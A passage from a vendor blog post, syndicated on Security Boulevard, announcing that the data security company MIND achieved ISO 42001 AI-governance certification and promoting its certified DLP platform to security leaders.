The standard also requires continuous improvement. This isn't a milestone you reach and file away. It's a framework that evolves alongside the AI itself, with ongoing monitoring, documentation and governance cycles built into how we operate. That's a meaningful commitment, and one that most AI-powered vendors in this space have not made.

Why being first in data security matters

Not all AI carries the same risk. A recommendation algorithm that misclassifies a product is inconvenient. An AI system that misclassifies sensitive data in your environment, or generates false positives that erode analyst trust, has real consequences: regulatory exposure, missed incidents and the slow erosion of confidence in the program itself.

Data security tools operate on the most sensitive information in the enterprise. Intellectual property, customer records, regulated data, the files that could become a breach headline if they reach the wrong destination. The AI that governs how that data is discovered, classified and protected needs to be held to a higher standard than tools operating in lower-stakes contexts.

Achieving ISO 42001 first in data security isn't symbolic. It reflects what we believe responsible AI in this space should look like, and it sets a bar we'd encourage the rest of the industry to meet.

{children}

What this means for your program

For security leaders managing risk and reporting to leadership, this certification changes a specific conversation. When you're asked how the AI in your security stack is governed, what it's been audited against and who holds it accountable, ISO 42001 gives you a clear and verifiable answer. Not a vendor's word for it. An independent third-party assessment against an internationally recognized standard.

We've seen how the absence of AI governance frameworks creates friction, not just internally, but with auditors, regulators and boards who are increasingly asking these questions. The certification doesn't just reflect MIND's commitment to responsible AI. It gives the security leaders who rely on us something concrete to stand behind in those conversations.

That's what Stress-Free DLP looks like in 2026: not just automation that works, but automation you can trust, explain and defend. If you're ready to see how MIND's certified platform fits into your data security program, we'd be glad to show you.

{children}.

The post MIND is the first data security company to achieve ISO 42001 certification appeared first on Security Boulevard.

The resurgence of one of Russia’s most notorious APT groups